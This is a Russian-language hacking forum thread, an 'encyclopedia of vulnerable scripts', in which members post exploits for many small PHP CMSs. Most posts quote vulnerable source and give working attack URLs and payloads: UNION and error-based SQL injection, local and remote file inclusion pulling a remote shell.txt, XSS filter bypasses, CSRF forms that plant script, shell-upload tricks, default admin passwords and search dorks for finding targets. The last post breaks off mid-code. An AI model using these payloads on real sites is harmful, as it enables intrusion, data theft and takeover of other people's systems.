Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Product: pepsi 0.6
    download: http://sourceforge.net/projects/pepsicms/

    Remote File Inclusion


    file:index.php

    PHP:
    //very sweet
    include "includes/template-loader.php";
    file:includes/template-loader.php

    PHP:
    //include( 'classes/theme_engine/engine.php' );
        
    include( $_Root_Path 'classes/Smarty.class.php' );
    result:

    if allow_url_include On

    Code:
    /index.php?_Root_Path=http://ya.ru/%00
    or
    Code:
    /index.php?_Root_Path=[file]%00
     
    4 people like this.
  2. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    http://www.kcms.cz/
    K:CMS v.2.1.1
    LFI, плохо что в админке!
    /admin.php
    PHP:
    ...if (isset($_GET["function"])) {
    include 
    "components/pages_admin/".$_GET["function"].".php";...
    Result:
    http://kcms/admin.php?function=options[lfi]
    Example:
    http://kcms/admin.php?function=options/../../../robots.txt
     
    2 people like this.
  3. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Бред, но напишу):
    http://aphpkb.org/
    Andy's PHP Knowledgebase v0.94.6 © Andy Grayndler 2010
    XSS
    /textarea.php
    PHP:
    <?php //textarea.php  -- default textarea
    echo '<textarea name="' $textareaname '" style="width:95%; height:300px">' .
     
    $textareacontent '</textarea>';
    ?>
    Условие:
    rg=on

    Результат:
    http://site/textarea.php?textareacontent=</textarea>[xss]
    http://localhost/know/textarea.php?textareacontent=</textarea><script>alert(123)</script>
    И куча других скриптов. Не буду бред постить!

    SQL inj
    /a_authord.php - даные о пользователях!
    PHP:
    ...include('./functions.php');
    require_once (
    './config/auth.php'); 
    require (
    './config/config.php');
    include
    "./config/dbsettings.php";

    $num $_GET[aid];  
    $query "SELECT CONCAT(FirstName, ' ', LastName) AS name, UserName, Email, DATE_FORMAT(RegistrationDate, '%M %d, %Y') AS dr FROM authors WHERE AuthorID='{$num}'";...
    Уловия:
    - админка;
    - mg=off.

    Резльутат:
    http://site/a_authord.php?aid=1[sql]
    http://site/a_authord.php?aid=1%27+union+select+1,version%28%29,3,4--+
     
    #343 Strilo4ka, 6 Apr 2010
    Last edited: 6 Apr 2010
    1 person likes this.
  4. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    BlogME
    Product : BlogME 1.1

    SQL injection
    file : index.php
    mq = off
    Code:
    http://x60unu/index.php?month=4&year=2007'+and+0+union+all+select+version(),version(),3,4,5,6,7,8--+
    Code:
    http://x60unu/index.php?cat=General'+and+0+union+all+select+1,2,3,4,5,6,7,8--+
    Code:
    http://x60unu/index.php?when=March%206,%202007'+and+0+union+all+select+1,2,3,4,5,6,7,8--+
    SQL in Admin Panel
    file : blogroll.php
    PHP:
    case 'edit' :
        
                
    $sqledit"SELECT * FROM "$prefix ."_blogroll WHERE id=$id";
                
    $resultedit db_query($dbname,$sqledit);
                
    $editvalues mysql_fetch_array($resultedit);
    result :
    Code:
    http://x60unu/blogroll.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+
    blind sql
    PHP:
    $sqldelete"DELETE FROM "$prefix ."_blogroll where id=$id";
                
    $resultdelete db_query($dbname,$sqldelete);
    result :
    Code:
    http://x60unu/blogroll.php?mode=delete&id=1[blind sql]
    file : category.php
    PHP:
                $sqledit"SELECT * FROM "$prefix ."_cat WHERE id=$id";
                
    $resultedit db_query($dbname,$sqledit);
                
    $editvalues mysql_fetch_array($resultedit);
    result:
    Code:
    http://x60unu/category.php?mode=edit&id=1+and+0+union+all+select+1,2--+
    blind sql
    PHP:
    sqldelete"DELETE FROM "$prefix ."_cat where id=$id";
                
    $resultdelete db_query($dbname,$sqldelete)
    result :
    Code:
    http://x60unu/category.php?mode=delete&id=1[blind sql]
    file : links.php
    PHP:
                $sqledit"SELECT * FROM "$prefix ."_links WHERE id=$id";
                
    $resultedit db_query($dbname,$sqledit);
                
    $editvalues mysql_fetch_array($resultedit);
    result :
    Code:
    http://x60unu/links.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+
    blind sql
    PHP:
    $sqldelete"DELETE FROM "$prefix ."_links where id=$id";
                
    $resultdelete db_query($dbname,$sqldelete);
    Code:
    http://x60unu/links.php?mode=delete&id=1[blind sql]
    Active Xss
    comments --- text comments --- "><script>alert();</script>

    з.ы. двиг сплошная дыра :(
     
    6 people like this.
  5. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Продукт:: AEF (форумный движок)
    Сайт:: http://www.anelectron.com
    Дорк:: "Powered by AEF" (250 000 результатов)
    Уязвимость:: Активная XSS.
    Уязвимость присутствует из-за небезопасной обработки BB-тегов.
    Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
    Пример эксплуатации:

    Code:
    [*url]http://asd.asd[*email][email protected] onmouseover=[b]alert()[/b] bla=[*/email][*/url]
    На выходе получаем:

    Code:
    <a href="[color=white]http://asd.asd<a href=[/color]"mailto:[email protected] onmouseover=[b]alert()[/b] bla=" target="_blank">[email protected] onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:[email protected] onmouseover=alert() bla=" target="_blank">[email protected] onmouseover=alert() bla=</a></a>
    Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:

    Code:
    [*url]http://asd.asd[*email][email protected] style=[b]display:none;olo:expression(alert());-moz-binding:url()[/b] bla=[*/email][*/url]
     
    #345 Root-access, 8 Apr 2010
    Last edited: 8 Apr 2010
    3 people like this.
  6. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Продукт:: Beehive (форумный движок)
    Сайт:: http://beehiveforum.sourceforge.net/
    Дорк:: "Project Beehive Forum" (?)
    Уязвимость:: Активная XSS.
    Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении.
    Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html):
    PHP:
    $attrib_value preg_replace("/javascript:/ixu"''$attrib_value);
    В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет):
    Code:
    <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()" />
     
  7. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Продукт:: CompactCMS
    Сайт:: http://www.compactcms.nl
    Дорк:: "Maintained with CompactCMS"
    //тут была глупая ошибка, Strilo4ka заметил...
    Уязвимость:: Исполнение произвольного кода.
    Требования: права админа (админка по умолчанию не запаролена - /admin)
    Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
     
    #347 Root-access, 8 Apr 2010
    Last edited: 9 Apr 2010
    3 people like this.
  8. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    AneCMS
    Product : Demo AneCMS v1

    Blind SQL injection
    Code:
    http://demo.anecms.com/blog/delete/1/1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/
    Active XSS
    comments blog news - "><script>alert();</script>
    Code:
    http://anecms.com/blog/5/Template_Engine_and_cleaning_time
    LFI
    rss.php
    PHP:
    if(isset($_GET['module']))
        include 
    './modules/'.$_GET['module'].'/rss.php';
    Code:
    http://x60unu/rss.php?module=../[file]%00
    Admin panel
    PHP:
      include './pages/'.$_GET['p'].'.php';
    Code:
    http://demo.anecms.com/acp/?p=lfi
    Code:
    http://x60unu/acp/index.php?p=../../[file]%00
    Путь
    Code:
    http://demo.anecms.com/register/next
    Дыр тут много :(
     
    #348 [x60]unu, 8 Apr 2010
    Last edited: 8 Apr 2010
    9 people like this.
  9. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    phpwcms v1.4.5
    release 2010

    Скачано отсюдо!

    XSS + HPP

    /image_zoom.php
    Code:
    ..if(empty($_GET["show"])) {
    
    	$width_height = '';
    	$img = "img/leer.gif";
    	
    } else {
    
    	$img 						= base64_decode($_GET["show"]);
    	list($img, $width_height)	= explode('?', $img);
    	$img 						= str_replace(array('http://', 'https://', 'ftp://'), '', $img);
    	$img						= strip_tags($img);
    	$width_height				= strip_tags($width_height);
    	$img = PHPWCMS_IMAGES.urlencode($img);...
    Code:
    ...<a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?> /></a>...
    Result:
    1) формируем код, example: адрес_рисунка?onmouseover=alert(1)
    2) переводим в base64 - MDRANUFfQDhBQz06MD9vbm1vdXNlb3Zlcj1hbGVydCgxKQ==
    3) тулим эту строку гетом в show.

    ps админка - /login.php
    По умолчанию:
    логин - admin;
    пасс - phpwcms (md5).
     
    #349 Strilo4ka, 9 Apr 2010
    Last edited: 15 Apr 2010
    2 people like this.
  10. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    AneCMS

    Продолжение поста [x60]unu.
    RFI
    ajax.php!
    PHP:
    <?php
    include './system/pages/essential.php';
    if(isset(
    $_POST['p']))
        include 
    $_POST['p'];
    ?>
    Условие:
    allow_url_include = On

    Експлуатация:
    HTML:
    <form method="POST" action="http://localhost/anecms/ajax.php">
    <input type="text" name="p" />
    <input type="submit" /></form>
     
    #350 Strilo4ka, 10 Apr 2010
    Last edited: 15 Apr 2010
    4 people like this.
  11. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    WebsiteBaker 2.8.1

    WebsiteBaker 2.8.1
    Sql-injection(требования register_globals=on)
    PHP:
    if(isset($_GET['page_id']) AND is_numeric($_GET['page_id'])) {
        
    $page_id $_GET['page_id'];
    } else {
        
    header('Location: /');
        exit(
    0);
    }
    if(isset(
    $_GET['group_id']) AND is_numeric($_GET['group_id'])) {
        
    $group_id $_GET['group_id'];
        
    define('GROUP_ID'$group_id);
    }

    /*--*/
    if(isset($group_id)) {
        
    $query "SELECT * FROM ".TABLE_PREFIX."mod_news_posts WHERE group_id=".$group_id." AND page_id = ".$page_id." AND active=1 AND ".$time_check_str." ORDER BY posted_when DESC";
    } else {
    эксплуатация:
    /modules/news/rss.php?page_id=2&group_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+


    Способов залиться несколько:
    1)В админке аплоадим зип архив с шеллом, распаковываем средствами админ-панели.
    2)аплоадим какой-нибудь shell.php.xs(если apache в качестве вебсервера)
     
    6 people like this.
  12. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Rat CMS

    SQL ing
    login.php
    PHP:
    ...$userId   $_POST['txtUserId'];
        
    $password $_POST['txtPassword'];

        
    // check if the user id and password combination exist in database
        
    $sql "SELECT user_id
                FROM tbl_auth_user
                WHERE user_id = '
    $userId' AND user_password = PASSWORD('$password')";

        
    $result mysql_query($sql) or die('Query failed. ' mysql_error());

        if (
    mysql_num_rows($result) == 1) {
            
    // the user id and password match,
            // set the session
            
    $_SESSION['db_is_logged_in'] = true;

            
    // after login we move to the main page
            
    header('Location: main.php');
            exit;
        } else {
            
    $errorMessage 'Sorry, wrong user id / password';
        }...
    Result :
    в поле txtUserId - ' union select 1--[ ]

    Условие:
    mg=off

    Далее привожу только код других файлов:
    viewarticle.php , viewarticle2.php
    PHP:
    ...else {
       
    // get the article info from database
       
    $query "SELECT title, content FROM news WHERE id=".$_GET['id'];
       
    $result mysql_query($query) or die('Error : ' mysql_error()); 
       
    $row mysql_fetch_array($resultMYSQL_ASSOC); ...
     
    #352 Strilo4ka, 11 Apr 2010
    Last edited: 15 Apr 2010
    2 people like this.
  13. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    123

    basic cms

    CSRF + SQL inj(в админке!)
    просто выношу потому что редкий интересный случай1
    Admin/Pages/List.php
    PHP:
    ...
    $strAction=QuerySafeString($_POST["txtAction"]);
    }
    if (
    $_SESSION["Admin"] =="Y")
    {
    $conclass =new DataBase();
    if (
    $strAction=="DEL")
    {
        if (isset(
    $_POST['chkSelect']))
        {
            
    $strSelection=$_POST['chkSelect'];
            
    $strSQL="DELETE FROM pages_t_details WHERE id IN("join(','$strSelection) . ")";
            
    //print $strSQL;
            
    $strErrorMessages="";
            
    $var1=$conclass->Execute ($strSQL,$strErrorMessages);
        }...
    Includes/Database.php
    PHP:
    ...
    function 
    QuerySafeString($pstrString)
    {
        
    $badChars = array("\'");
        
    $newChars   = array("'");
        
        
    $pstrString str_replace($badChars$newChars$pstrString);
        
    $pstrString=killChars($pstrString);
        return 
    $pstrString;
    }...
    Includes/Database.php
    PHP:
    ...function killChars($strWords)
    {

        
    $badChars = array("select""drop"";""--""insert""delete","Update");
        
    $newChars   = array("""""""""""""");

        
    $strWords str_replace($badChars$newChars$strWords);
        return  
    $strWords;

    }...
    Вывод ошибки от СУБД
    Includes/Database.php
    PHP:
    ...
    function  
    Execute($strSQL,$strErrorMessages)
        {
            
    $result mysql_query($strSQL) or die("Query failed : " mysql_error());
            return 
    $result;

        }...
    Result:
    <FORM action="http://localhost/basiccms/Admin/Pages/List.php?txtAction=" method="POST">
    <INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="666" checked>
    <INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="(Select * from (Select name_const(version(),1),name_const(version(),1))x)" checked>
    <INPUT type="checkbox" name="txtAction" value="DEL" checked>
    <input type=submit value="inj">
    </FORM>

    SQL inj
    Admin/Pages/AddModifyInput.php
    PHP:
    ...$strsql "SELECT id, title,description,startpage FROM pages_t_details WHERE id=" $strID;
        
    $rst$conclass->Execute ($strsql,$strError);...
    Result:
    http://localhost/basiccms/admin/pages/AddModifyinput.php?ID=9+union+Select+1,version%28%29,3,4

    Также уязвим Admin./Pages/AddModifyDelete.php
    XSRF+SQL inj(права админа!)
    PHP:
    ...$strsql="DELETE FROM pages_t_details ";
            
    $strsql.= " WHERE id=" .SQLSafeString($strID);...

    Result:

    http://localhost/basiccms/admin/pages/AddModifyInput.php?action=DEL&ID=1+or+%281,2%29=%28Select%20*%20from%20%28Select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29

    ps еще можна было провести (в других файлах) XSRF на добавление пользователей, ... + SQL inj(права админа).
     
    #353 Strilo4ka, 12 Apr 2010
    Last edited: 15 Apr 2010
    3 people like this.
  14. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    WebspotBlogging
    Product : WebspotBlogging v 3.01

    RFI, LFI
    файлы в главной папке обращаются к файлам из папки inc в которых можно увидеть код - пример
    inc/mainheader.inc.php

    PHP:
    include($path."inc/global.php");
    allow_url_include = On
    rg = on
    result :
    Code:
    http://x60unu/archives.php?path=http:/site/shell.txt?
    http://x60unu/register.php?path=http://site/shell.txt?
    http://x60unu/index.php?path=http://site/shell.txt?
    http://x60unu/showpost.php?path=http://site/shell.txt?
    http://x60unu/login.php?path=http://site/shell.txt?
    http://x60unu/postcomment.php?path=http://site/shell.txt?
    http://x60unu/showarchive.php?path=http://site/shell.txt?
    http://x60unu/rss.php?path=http://site/shell.txt?
    
    Ну и там же LFI

    SQL Injection
    Для всех скуль нужно mq=off
    showpost.php
    PHP:
    $sql "SELECT * FROM blog WHERE pid = '".$_GET['id']."';";
    $query mysql_query($sql);
    Code:
    http://x60unu/showpost.php?id=1'+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10--+
    showarchive.php
    PHP:
    $monthdate $_GET['monthdate'];
    $sql "SELECT * FROM blog WHERE month_date = '".$_GET['monthdate']."' ORDER BY date_time DESC;";
    $query mysql_query($sql);
    Code:
    http://x60unu/showarchive.php?monthdate='+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10--+
    зарегистрированным пользователям
    posting/edit.php
    PHP:
    $query $database->query("SELECT * FROM blog WHERE pid = '".$_REQUEST['id']."'");
    $post $database->fetch_array($query);
    Code:
    http://x60unu/posting/edit.php?id=1'+and+0+union+all+select+1,2,3,version(),5,6,7,8,9,10--+
    posting/editcomment.php
    PHP:
    $query $database->query("SELECT * FROM comments WHERE cid = '".$_GET['id']."'");
    if(
    $database->num_rows($query) < 1){
    Code:
    http://x60unu/posting/editcomment.php?id=1'+and+0+union+all+select+1,2,3,4,5--+
    posting/comments.php
    PHP:
    $query $database->query("SELECT * FROM comments WHERE pid = '".$_REQUEST['id']."' ORDER BY date_time DESC");
    if(
    $database->num_rows($query) < 1){
    Code:
    http://x60unu/posting/comments.php?id=1'+and+0+union+all+select+1,2,3,4,5--+
    Blind SQL Injection
    mysql = 5
    mq = off

    postcomment.php комментируем запись -->
    PHP:
    $database->query("INSERT INTO comments (cid,uid,comment,date_time,pid) VALUES ('','".$_SESSION['uid']."','".$_POST['comment']."',NOW(),'".$_POST['pid']."')");
    header("Location: showpost.php?id=".$_POST['pid']);
    ob_end_flush();
    users/index.php редактируем email -->


    register.php - регистрация -->
    PHP:
    $sql "INSERT INTO users (`uid`,`username`,`password`,`admin`,`mod`,`email`,`newsletter`) VALUES ('','".$_POST['username']."','".md5($_POST['password'])."',0,0,'".$_POST['email']."','".$_POST['newsletter']."')";
        
    $query $database->query($sql);
    -->
    Code:
    xek%'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
    Active Xss
    comments - комментируем записи "/><script>alert("xss");</script>
    user cp - email "/><script>alert("xss");</script>
    posting - "/><script>alert("xss");</script>
     
    #354 [x60]unu, 12 Apr 2010
    Last edited: 12 Apr 2010
    9 people like this.
  15. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    321

    Free CMS Webcountry

    Древний релиз! - но компания не дремлет!
    Используеться mod_rewrite.
    В index.php есть такой код:
    PHP:
    ...ob_start();
     
    $mod=$_GET["mod"];
     if (!IsSet(
    $mod)){include "./page/$main_page.php";}
     else {include 
    "./page/".$mod.".php";}
     
    $contents=ob_get_contents();
     
    ob_end_clean();...
    PHP:
    ...require("./tpl/$thema.tpl");...
    Переменная $thema определяеться в подключаемом файле c запроса.
    Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить.
    В БД ничего ценного! Пусть админко запаролена :).
    В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod.
    То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00.
    Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно.

    Теперь пример инклуда с результату запроса после проведения SQL ing(или при!).
    Подключаем файлик с /page,
    допустим, news.php так как там парамтер id передаеться в запрос!
    PHP:
    ...$query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
     
    $result mysql_query($query);
     while(
    $r=mysql_fetch_array($result))
     {
      
    $title=$r["title_page"];
      
    $KeyWords_page=$r["KeyWords_page"];
      
    $Description_page=$r["Description_page"];
      
    $txt_page=$r["txt_page"];
      
    $thema=$r["thema"];
     echo 
    "$txt_page";}... 
    Имеем LFI с 6 поля:
    http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,6,7,8--+
    Warning: require(./tpl/6.tpl) [function.require]:
    http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,%27../readme.txt%00%27,7,8--+
    Недостаток при SQL inj в том, что надо mg=off так как id в запросе
    PHP:
    ...id='".$_GET["id"]."';...
    Так же SQL inj в /pages/index.php
    PHP:
    ...mysql_select_db ($db_name) or die ("Нет соединения с БД");
     
    $query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
     
    $result mysql_query($query);...
    up
    та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on).
    Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!...

    Тоесть, при rg=on имеем LFI вот так:
    http://localhost/117/index.php?mod=1&thema=../readme.txt%00
    http://localhost/117/index.php?mod=1&thema=../readme.txt[/]
    http://localhost/117/index.php?mod=1&thema=../readme.txt[.]

    ps /adm - админко незапаролена по умолчанию.
     
    #355 Strilo4ka, 14 Apr 2010
    Last edited: 15 Apr 2010
    4 people like this.
  16. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    AntiSlaed CMS 4.1

    index.php
    PHP:
    ...$name = (isset($_POST['name'])) ? ((isset($_POST['name'])) ? analyze($_POST['name']) : "") : ((isset($_GET['name'])) ? analyze($_GET['name']) : "");...
    PHP:
    ...$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : "");
    $file = ($file) ? $file "index";...
    PHP:
    ...include("modules/".$name."/".$file.".php");...
    Теперь смотрим в модуль новости /modules/news/index.php.
    PHP:
    function news(){...
    $scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;...
    ...list(
    $cat_title$cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));...
    }
    PHP:
    ...switch($op) {
        default:
        
    news();
        break;...
    в ../index.php
    PHP:
    ...$op = (isset($_POST['op'])) ? ((isset($_POST['op'])) ? analyze($_POST['op']) : "") : ((isset($_GET['op'])) ? analyze($_GET['op']) : "");...
    Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех!

    Ищем .:XSS:.

    Поиск закончился успехом.
    /modules/order/index.php
    Обращаем внимание на $_POST['com']
    PHP:
    function order() {
        global 
    $conf$confor$pagetitle$bodytext$stop;
        
    $pagetitle "".$conf['defis']." "._ORDER."";
        
    $bodytext $confor['text'];
        if (
    is_user()) {
            
    $userinfo getusrinfo();
            
    $mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email'];
        } else {
            
    $mail = (isset($_POST['mail'])) ? $_POST['mail'] : "";
        }
        
    $field fields_save($_POST['field']);
        
    head();
        
    title(""._ORDER."");
        if (
    $stopwarning($stop""""1);
        
    open();
        echo 
    bb_decode($bodytext"all");
        
    close();
        if (
    $confor['an']) {
            
    open();
            echo 
    "<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">"
            
    ."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>"
            
    ."".fields_in($field$conf['name']).""
            
    ."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>"
            
    ."".captcha_random().""
            
    ."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>";
            
    close();
        } else {
            
    warning(""._OR_5.""""""2);
        }
        
    foot();
    }...
    Функция order() вызываеться по умолчанию
    PHP:
    ...switch($op) {
        default:
        
    order();
        break;...
    Result:
    - формиуем код;
    - заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!).

    Простой пример експлуатации:
    HTML:
    <form action="http://anti/index.php?name=order">
     <p><b>Каким браузером в основном пользуетесь:</b><Br>
       <input type="radio" name="browser" value="ie"> Internet Explorer<Br>
       <input type="radio" name="browser" value="opera"> Opera<Br>
       <input type="radio" name="browser" value="firefox"> Firefox<Br>
      </p>
    <input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>">
    <input type=submit value="Молодца"!">
    </form>
    up
    В самом последнем релизе пофиксено!
    Значение переменной $com и других проганяэться через:
    PHP:
    # HTML and word filter
    function text_filter($message$type="") {
        global 
    $conf;
        
    $message is_array($message) ? fields_save($message) : $message;
        if (
    intval($type) == 2) {
            
    $message htmlspecialchars(trim($message), ENT_QUOTES);
        } else {
            
    $message strip_tags(urldecode($message));
            
    $message htmlspecialchars(trim($message), ENT_QUOTES);
        }
        if (
    $conf['censor'] && intval($type != 1)) {
            
    $censor_l explode(","$conf['censor_l']);
            foreach (
    $censor_l as $val$message preg_replace("#$val#i"$conf['censor_r'], $message);
        }
        return 
    $message;
    }
     
    #356 Strilo4ka, 15 Apr 2010
    Last edited: 15 Apr 2010
    1 person likes this.
  17. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Sing CMS


    скачать

    В результате применения XSRF имеем активную XSS.

    Подтверждения со стороны адинистратора на сохранение данных нет!

    Уязвимо $_POST['content'] с многострочного поля!

    Вот куски кода:

    /admin/editpage.php
    PHP:
    ...$checkbottom = isset($_POST['showbottom']) ? " checked" "";
        
    $maintpl listtpl("main"$_POST['maintpl']); 
        
    $name cleaninput($_POST['name']);
        
    $keywords cleaninput($_POST['keywords']);
        
    $description cleaninput($_POST['description']);
        
    $content stripslash($_POST['content']);
        if (isset(
    $_POST['breaks'])) {
            
    $linebreaks " checked";
            
    $xx explode("?>"$content); $prevcontent "";
            foreach(
    $xx as $val) {...
    PHP:
    ...else {
                
    dbquery("INSERT INTO ".DBPREF."pages (name, keywords, description, content, settings, created) VALUES ('$name', '$keywords', '$description', '$content', '".serialize($pageset)."', '".time()."')");
                
    redirect($_SERVER['SCRIPT_NAME']."?id=".mysql_insert_id()."&info=added");
            }...
    /functions.php
    PHP:
    ...function stripslash($text) {
        if (
    ini_get('magic_quotes_gpc')) $text stripslashes($text);
        return 
    $text;
    }
    function 
    addslash($text) {
        if (!
    ini_get('magic_quotes_gpc')) $text addslashes(addslashes($text));
        else 
    $text addslashes($text);
        return 
    $text;
    }
    function 
    cleaninput($text) {
        if (
    ini_get('magic_quotes_gpc')) $text stripslashes($text);
        
    $search = array("\"""'""\\"'\"'"\'""<"">""&nbsp;");
        
    $replace = array("&quot;""'""\", "&quot;", "'", "&lt;", "&gt;", " ");
        $text = str_replace($search, $replace, $text);
        $text = trim($text);
        return $text;...
    Експлуатация:
    HTML:
    <form action="http://localhost/sing/admin/editpage.php" method="post">  
    <p><b>Каким браузером в основном пользуетесь</b>
    <Br>  <input type="radio" name="browser" value="ie"> Internet Explorer
    <Br>  <input type="radio" name="browser" value="opera"> Opera
    <Br>  <input type="radio" name="browser" value="firefox"> Firefox<Br></p>
    <input type="hidden" name="maintpl" VALUE="1">
    <input type="hidden" name="name" VALUE="123">
    <input type="hidden" name="content" VALUE="<script>alert(123)</script>">
    <input type="hidden" name="save">
    <input type=submit value="Молодца"!">
    </form>
    Result:
    id страницы, например 2.
    в page.php?id=2
    HTML:
    ...<div class="page"><script>alert(123)</script></div>...
     
    #357 Strilo4ka, 15 Apr 2010
    Last edited: 15 Apr 2010
  18. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    CMS.link
    /include/functions.php
    PHP:
    ....function adds(&$el,$level=0) { 
        if (
    is_array($el)){
            if (
    get_magic_quotes_gpc()) return; 
            foreach(
    $el as $k=>$v)
                
    adds($el[$k],$level+1); 
        }
        else{
            if (!
    get_magic_quotes_gpc()) $el addslashes($el); 
            if (!
    $level) return $el
        }
    }
    ...
    Через эту функцию не провести SQL inj

    Улыбнул вот этот участок кода:
    PHP:
    ...
    if(
    $site->getCommP())$method="";
    switch(
    $method)
    {
        case 
    "print":
            include 
    $config['site_dir']."include/plugins/mop/print.plg";
            break;
        case 
    "send":
            include 
    $config['site_dir']."include/plugins/mop/send.plg";
            break;
        case 
    "comments":
            include 
    $config['site_dir']."include/plugins/mop/comments.plg";
            break;
        case 
    "vote":
            include 
    $config['site_dir']."include/plugins/mop/vote.plg";
                break;
        case 
    "dir":
            include 
    $config['site_dir']."include/plugins/mop/dir.plg";
                break;
        default:    
            
    $file=$config['site_dir']."templates/docs/".$site->getTemplate().".tpl";
            if (!
    file_exists($file))
                   
    error_rep("Server","No such file or directory ($file)","404");
            include 
    $file;...
    XSS в include/plugins/mop/send.plg
    PHP:
    ...
    if(!
    ereg(".+@.+\..+"$_POST['p_s_mail'])){
            
    $p_s_error="{$lan[18]}<br>";
            
    p_s_print_html($p_s_error);
        }
        elseif(
    $_POST['p_s_yname']==""){
            
    $p_s_error="{$lan[2]}<br>";
            
    p_s_print_html($p_s_error);
        }
        elseif(!
    ereg(".+@.+\..+"$_POST['p_s_ymail'])){
            
    $p_s_error="{$lan[1]}<br>";
            
    p_s_print_html($p_s_error);
        }
        else{
            
    mail(
                
    $_POST['p_s_mail'],
                
    $lan[19],
                
    htmlspecialchars(stripslashes($p_s_mes)),
                
    "From: {$_POST['p_s_ymail']}\n".
                
    "Reply-To: {$_POST['p_s_yname']}\n");

            echo 
